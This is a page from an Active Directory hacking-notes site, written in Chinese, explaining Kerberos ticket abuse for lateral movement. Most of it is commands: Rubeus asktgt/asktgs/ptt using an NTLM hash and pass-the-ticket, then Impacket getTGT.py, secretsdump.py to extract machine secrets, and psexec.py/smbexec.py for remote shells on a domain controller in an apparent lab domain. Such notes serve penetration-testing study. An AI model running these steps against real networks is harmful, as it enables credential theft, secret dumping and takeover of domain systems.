> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/active-directory/lateral-movement/ask-tgt-tgs.md).
# 请求 TGT / TGS
针对请求 TGT / TGS 的 Active Directory 安全笔记，涵盖枚举、Kerberos、凭据、ACL 滥用、横向移动、利用流程和验证步骤。
`Rubeus` 还允许你直接与 KDC 通信以请求票据。
```bash
.\Rubeus.exe asktgt /domain.whoami.local /user:administrador /rc4:a87f3a337d73085c45f9416be5787d86
```
这里，我们提取该账户的 TGT 以及其会话密钥。
然后我们可以手动查询服务票据。
{% code overflow="wrap" %}
```bash
.\Rubeus.exe asktgs /ticket:doIFGDCCBRSgAwIBBaEDAgEWoIELjCCBCphggMmMIIEIqADAgEFoQwbCkNPUlA1QUtlOTRQUyIHzAdoAMCMAQKhFjAUgWzrcmJ0Z3QbCmNvcnAubG9jYWpYgYjWyjggPqMIID5qADAgESoQMCAQKiggPYBIID1IFDRNbP59rVJ6ZiVLoElr7+WyRM5AOpUwwzjBIBWW9S3tTVCoT+W4sc3sqk7PsHcNZjjW5XpdpzlhX2UB7kiosg90ZNup0ctdKHuKqF5IJWPL5cxL9DDNlwF7MAljk90j5KLTlyhhLXUKLh72JrZ1/iwuFx9J6Va6VDRrLEG5NtyE3BRVJYegFB3zyWBsZjiisCLyHzoxlSiOxNUeUOTlcNrUPz4eInpyRlYZtaWh1SrYIiMj5D+O7POlDFd108acsVH7q38VMSwETdCADFzDckOmFtv9kjy4G2Mxz7bCm9hkUpasdFuaW4nCUJ19ZuBfK9NHOmwqF1Eic+F59Hcbt3mybeA5H+VaupA4bGDcf8BED4dlRjJwLcodvOZob15uJUSZoYohTgcTzlm6fmnJX9JU6YFiLdDm719YBlpOQCvFsSewZfDFErss1jg84nYxzl4X3MwOcLU3KPU47ydfXc7MssfRM7DVIuCrK2q3wJP66UYbo7KF7bkTkDe7pdr0m2l3cR8Egw1ooKb5xRDGik66YRb437AnRzNX+XkbDs6j1eA0dggQ1CD+1YX8sQjbRVnqOx1FkhaS4yWWieyAnVH7yZ1+nTYK0F7s2xhY51aVnPqcutuINHNwgoyVbla+wSNtaJndnYHu5/FiUSEgkUmZpdOHT4EoiqThSd3xLuLKyZUjjtUKRHHA8a976igZ67zaH4Co1A84IEKXLIMZWhlqohO3URscaZ4EKmCjhXT51FKyUOBRH8gsRSphMpjNZifNMsNnMIEAgwZ+Mu16R10g1LAjymVpUI9Imvo2cfQPSmvwMNcSrma90c5v4FPZbsYpL+MWGNAV009ezi3Lquh795VC1sZ5XDx4opwgJITuNl1Xcj9ch1E5kLmt1BvwfGDjw5k9YvYBFf5eg70D3f/GIHFd01k684IO7L4oqBZFwoj/2/Zd1QqWhTfYmnRbAb4ZMeKwmIra++qGLwPyHs00EEzRwHlRQPB+krOpB0AdPiaDjaxSu9glfXNr8sN0umTlwDKsiKhXFL4E2LLNDA1NQd4cuIrjcapylCgXG4oYnmcId/AfXAgmuo6CiTCdzBSzSiiXdwqBfRUZYTWR3VXy8Z/Q4Bw0VkJhjeircW073XP8d25ZwSnzac3V8Xem7GXomt3MKG+UHgyLDDpCOKhTsu7DGAIIZH0QqBgNSrGpYEJj+aAuzz1GoDSL117B7dpQ0lFiV/Tluh3QjtKVj61NXxjQTLAFOO/fdcjAii41J5bUskvyAuRLdm/VXyQktus+/QII942DhLF5Ilk3imo4HVMIHSoAMCAQCigcoEgcd9gcQgWggcgggb4wgbsgwgbgGgGzAMCAREhegQQ7VvpB0YoaOJamaDJtNG11rKEMGwpDT1JQfM0MohowGKADAgEBoREwDxsNYWRtaW5w3C3RyYWRWvcqMHAwUAQOEAAlKURGA8yMDIyMDIwMjE4MjEwOFqERgPMjAyMjAyMJMDMwNDIxMDhapxEYDzI0MTg0MTg0WqgMGWpDT1JQf1JQlkxPaERYADAgECoRYwFBsGa3JidGdtGwpGwpjbWlXmY2FzY3JyYWVmcG3b3JwLmxdKkxPxQPQMrYWbFBsGa3JidGdtGwpbYjJidGd0GwpJMlxvy2Fs /service:cifs/DC01.whoami.local
```
{% endcode %}
此命令发送 TGS 查询，以获取可用于目标服务的票据。
然后可以在本地注入该票据。
{% code overflow="wrap" %}
```bash
.\Rubeus.exe ptt /ticket:doIFhjCCBYKgAwIBBaEDAgEWoIEiTCCBIVhggSBMIIEFaADAgEFoQwbCkNPUlA1QUtlOTRQUyIjAgoAMCMAQKhGTAXGwRjaWZZZGw9EQzAxLmN2cnAubG9jYWpYgYjWyjggRCMIIEPqADAgESoQMCAQIoggQwBIIELBmqRx9jVBmFFZLOZxHRHbBZL0Ufi7A7umi1p6ysfyJ9N488WRTyPdDTWnanQcZGHiDcUEQ264h1EieDg7qnqBq0OhJMkqvwurYKuAK8KdQaIcmBzlnsqHc5gb8ixD57TLfowPMmha+1IrtoI+vlxayPzNBKIYOIWqoOoMZJmpyHoPvE+DAMdaZnXER61407pg8YWt1jg0Xhlbz6V9i6WMfbKX7aaZsIjvZF9H/zbTXxXTbmuMyGuh11j3efcgqEAh06AAu97JPHa05INjjjlwVYN65+1GthgaMLrIjtyNHpZVxxWkcoesd4aXaKoYuJSfnY/5K+1LTqCXNVQVx4+cvQ/atZ7V/+xnr1PjFQTgPmJrnwGsb5cVNY2h8s50MjjPUIBqvWTAGOgVV5TNi6Mn0gwUNFf+h7k/8aiBwIzEKVWjNLpQwTB1IsUHOKTVfshwfNVZZQz8MBVkplnIROo5HbL/AJ20j5xMZ7Ve2VCsz8PVYlFrVyzFujdwC12YEamIg/0YrtA3rlfkDvgRK8fJMuEgm3Dtav6Swq7FvMpmu9G9G9POcx8efgpPYy2wsFh5/duHydnPLHI1It1OvxSOFOFRRNTSe9qRndWCtF+4U7ECA0/TM1fB7xPx1mjmveb/J4XEdLNdRKxRKNamfbfDY55b55qpgJLP5IzbhjOiK+qXvBVzpeUMo3ygpJT77jSfbYAsyWowTWwLtmMbKHTITsk1/HZPqKOGmd5c8BWuuHEiACOViN904B9/LfMz5IuuzRPiFpu3tTSV8UutPhTE/1pVH4otbuywPZNhai9Ili1XESfVxaQ3BaJU9rfrGD0TCMs3UJvBZZk2qTDjc+Uu9m3cJOSLIXqT+62VQudSNg/xX9JUXD118VZwznEU1w2+kCM+W/SDhrrKC6Bad+Zh3EtrW6YdlDB2bGVLVyfyMZMIAEWSNshta1UTtKgegeGPpjP8zWqKB+EfTE+N1f/rSC/bfA+h7XJ1CplfcdELFncBaCTAHtQrUyhyeuJsR1YxoGX/e3mXktmcijIdwyd31PNKxZUTHiVcGgvedhEjEnz+yLmC96gzAPqFUYDTVqL2mmCj90tGW2bLIYZZ9L1TZWTu95S65nTgzFQI3Zg8ghHKiVAVI1mLnMySdAdUoPV7iRNb2Mep18i59o3/EVIM6uagCdLFYI7ilox0a2R2f9t+Uyb43bLSM4FKt69r02TmkTuU3iGd7aQtE9fNlZG71Uvju4FPGnzN7IsvVT3EZETOwCB/svnQi0fXg8c7AjlpxeKd7Eyo5s8C4J/Cwq609ov+AF16UI1M8r9704eER4H8iLAxDfcFgTb/2fm+vVDRm+QS0c4I1auh3GDVUv3CeCMBSzD+TPQ/xDEO6/j/Wgbv/9s0BmkUgVmVdX1FZs6LyutUjKY3PzI60B6DCB5aADAgEAooHdBIHAfYHXMIHToAMCAQCiggEESIOBIEILDKun77SnzmahfQPYTZRNSA7cIgM7zJuUI/x6f/VI74oQwbCkNPUlA1QUle9DQUyiGjAYoAMCAQGgETAPGwhhZG1pbiwG1hZG1hZG1_pbm1zdHJhZGYwBwQBApREGAEyMDIyMDIwMjEwMzMzOFqERgEyMDIyMDIwMzA0MjEwOFapERgPMjQxODQxODRaqgwZYkNPUlBfUkxLTWPaERYADAgECoRYwFBsGa3JidGdttGwpGwpjbWlnYw==
```
{% endcode %}
我们现在有一个针对以下对象的有效票据： `cifs` 服务。
{% code overflow="wrap" %}
```
klist
```
{% endcode %}
在 Linux 上，我们可以使用 Impacket 的 Kerberos 工具做同样的事情。
{% code overflow="wrap" %}
```bash
getTGT.py whoami.local/administrador -hashes :a87f3a337d73085c45f9416be5787d86
```
{% endcode %}
然后将 Kerberos 缓存加载到 `KRB5CCNAME` 环境变量中。
{% code overflow="wrap" %}
```bash
export KRB5CCNAME=/home/jordan/administrador.ccache
```
{% endcode %}
然后我们可以通过以下命令重用此票据： `secretsdump.py`.
{% code overflow="wrap" %}
```bash
secretsdump.py whoami.local/administrador@ws01.whoami.local -k -no-pass
```
{% endcode %}
这里，机器的机密信息已被成功提取。
我们也可以使用以下工具登录： `psexec.py`.
{% code overflow="wrap" %}
```bash
psexec.py whoami.local/administrador@DC01.whoami.local -k -no-pass
```
{% endcode %}
此命令为我们提供一个远程 Shell。
另一种可能的变体： `smbexec.py`.
{% code overflow="wrap" %}
```bash
smbexec.py whoami.local/administrador@DC01.whoami.local -k -no-pass
```
{% endcode %}
要直接查询服务票据，我们还可以使用 `getST.py`.
{% code overflow="wrap" %}
```bash
getST.py -spn cifs/DC01.whoami.local -no-pass -k whoami.local/administrador
```
{% endcode %}
然后我们就获得了一个可重用的服务票据。
---
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